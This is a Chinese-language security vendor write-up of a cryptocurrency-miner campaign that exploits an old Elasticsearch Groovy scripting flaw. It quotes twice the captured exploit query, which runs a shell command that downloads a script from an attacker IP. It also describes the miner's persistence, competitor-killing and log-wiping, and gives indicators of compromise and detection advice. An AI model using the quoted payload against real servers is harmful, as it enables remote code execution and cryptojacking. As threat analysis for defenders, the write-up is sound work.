虛擬貨幣病毒透過 Elasticsearch 舊漏洞散播

趨勢科技曾在蜜罐系統上發現了關於搜尋引擎 Elasticsearch (用Lucene程式庫開發的開放原始碼Java搜尋引擎)的惡意挖礦( coinmining )活動。這波攻擊利用了漏洞CVE-2015-1427(位在Groovy 腳本引擎,讓遠端攻擊者可以用特製腳本來執行任意 shell 命令)以及CVE-2014-320(Elasticsearch預設設定內的漏洞)。Elasticsearch已經不再支援有漏洞的版本。

我們在運行Elasticsearch的伺服器上發現帶有以下命令的查詢(ISC也在一篇文章中提到):

“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P

/tmp/sssooo\”).getText()”}}}”

這命令是由同個系統/攻擊主機執行,後續病毒也是放在此主機上。在本文編寫時,使用此IP的是網域matrixhazel[.]com(無法連上)。此系統安裝的是CentOS 6,同時運行了網頁伺服器和SSH伺服器。

Figure 1. GreyNoise marked the host as a known scanner

圖1、GreyNotes將此這主機標記為已知掃描器

 

要注意的是,這種攻擊並不新鮮,只是最近又重新出現。趨勢科技的Smart Protection Network 11月在多個地區偵測到虛擬貨幣挖礦病毒,包括了台灣、中國和美國。

挖礦病毒散播bash腳本update.sh的方式是先調用shell來下載並輸出成檔案“/tmp/sssooo“(因為大多數系統對/tmp的限制較少)。

這種攻擊簡單卻會對受害者產生重大的影響。一旦攻擊者可以在系統上執行任意命令,就可以提升權限,甚至將目標轉向其他系統來進一步地入侵網路。

還應該注意的是,雖然大多數案例的攻擊手法相同,但所使用的惡意檔案可能不同。在我們所分析的案例中,使用的是update.sh。一但執行腳本update.sh就會下載檔案devtoolsconfig.json。接著就會部署虛擬貨幣挖礦病毒(趨勢科技偵測為 Coinminer.Linux.MALXMR.UWEIS)。

實際的挖礦程式是ELF64二進位檔案 – devtools,這檔名可以偽裝自己,因為“devtools”也是GitHub 的正常工具。挖礦程式會使用config.json內的設定。

Figure 2. Details of the configuration file config.json

圖2、設定檔config.json的詳細資訊.

 

這類手法已經被廣泛地使用,不過封裝的bash 腳本還具備其他幾個有趣的函式。編碼風格跟駭客工具非常相似,部分程式碼也出現在之前的Xbash相關案例中。

 

虛擬貨幣病毒如何被部署 ?

挖礦病毒由三個檔案組成,透過bash的wget、curl或url命令下載:

Figure 3. wget, curl, and url commands

圖3、wget、curl和url命令

 

挖礦病毒會下載下列檔案:

  • devtools –實際挖礦程式;
  • sh–用來下載所有元件的bash腳本(該腳本也會在攻擊期間執行);
  • json–挖礦程式的設定檔。

 

它會先試著將檔案儲存到”/etc/”資料夾,接著嘗試”/tmp”以防失敗。後者在我們的例子中成功了。接著它會檢查系統內是否有其他正在進行的挖礦活動。它會假設系統已被攻擊過,並從之前的攻擊者手中劫持該系統。此過程還可以用來將運行中的挖礦病毒更新到較新版本。

Figure 4. Sample of commands that allow the miner to eliminate other existing miners

圖4、允許挖礦病毒清除現有挖礦程式的命令範例

 

如果它偵測到系統內的其他挖礦程式,將會終止挖礦相關程序。它還會重置crontab,讓cron不再啟動其他挖礦程式。

Figure 5. Processes of other miners found in the system will be killed

圖5、系統內發現的其他挖礦程序會被終止

 

挖礦病毒會將自己加進crontab,所以會每10分鐘執行一次。每次執行開始時都會先用”chatr-i”解鎖自己並更新,而在每次執行結束時都會用”chattr + i”來保護檔案,防止檔案被其他較低權限的使用者修改或刪除。它還會清空歷史日誌來清除足跡(如圖8所示)。有趣是,當腳本在根目錄執行時會試著將自己的ssh金鑰加入authorized_keys(讓自己可以不用密碼就登錄)。不知為何,好像弄錯了命令順序,導致authorized_key會在金鑰加入後就刪除。

Figure 6. Other miner capabilities: components protection, persistence via crontab, and network traffic encryption

圖6、其他挖礦病毒功能:保護元件、透過crontab達成持續性和加密網路流量

Figure 7. Miner modifies the iptables/firewall in the system

圖7、挖礦病毒修改系統的iptables/防火牆

Figure 8. Miner cleans its track by removing the history and emptying files

圖8、挖礦病毒會刪除歷史記錄和清空檔案來清除足跡

 

結論和建議

 

為了防止利用 Elasticsearch漏洞的攻擊,必須要定期修補系統並使用客製化規則來進行安全監視,從而能夠偵測基本事件及複雜的警訊。

有許多Elasticsearch遭遇命令劫持的實際案例出現,它們有一些共同點:

  • 都會調用shell來執行命令;
  • 都會包含從遠端/本地位置下載檔案的命令,如crul、wget、url、ftp/get等等;
  • 會將檔案下載到”/etc”或”/tmp”;
  • 通常都會輪流來進行嘗試;像是試著從所有可能下載位置來下載檔案,還會嘗試所有可能在系統上執行的命令(以便下載惡意檔案)。

 

偵測相關攻擊很重要,可以透過以下作法進行:

  • 記錄Elasticsearch的使用,監視可能屬於命令注入的字串。
  • 監視系統行為。Shell只能由授權的使用者和軟體使用。

經由關聯技術來分類網路流量。在我們的案例中,每十分鐘就會連上一次惡意IP。只要落實正確的網路監控流程和流量分析就可以輕易地發現。

使用者可以考慮採用透過跨世代混合威脅防護技術來抵禦虛擬貨幣病毒的安全解決方案。趨勢科技XGen™ 防護提供高保真機器學習功能來防護閘道 和端點,保護實體、虛擬和雲端的工作環境。透過網頁/網址過濾、行為分析和客製化沙盒等功能,XGen安全防護技術可以抵禦今日不斷進化,特製來繞過傳統安全防護和攻擊已知及未知漏洞的惡意威脅。XGen防護技術驅動著趨勢科技一系列的防護解決方案:Hybrid Cloud Security混合雲防護User Protection 使用者防護Network Defense網路防禦

入侵指標(IoC

 

相關雜湊值(SHA-256
191f1126f4b4b1b1b1449ec248ab60b354f2066b45287cd1bd23bd39bd392a8c devtools Coinminer.Linux.MALXMR.UWEIS
d3e1231d1429dccb47caf0c1c46d2eb24afe33887b31a818b8f07f0406db2637 updath. sh Coinminer.SH.MALXMR.ATNL

69.30.211.82 – 攻擊者

69.30.203.170

 

Elasticsearch中所用到的命令:

 

“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P /tmp/sssooo\”).getText()”}}}”

 

有問題的Elasticsearch版本:1.4.1

 

@原文出處:Cryptocurrency Miner Spreads via Old Vulnerabilities on Elasticsearch作者:Jindrich Karasek和Loseway Lu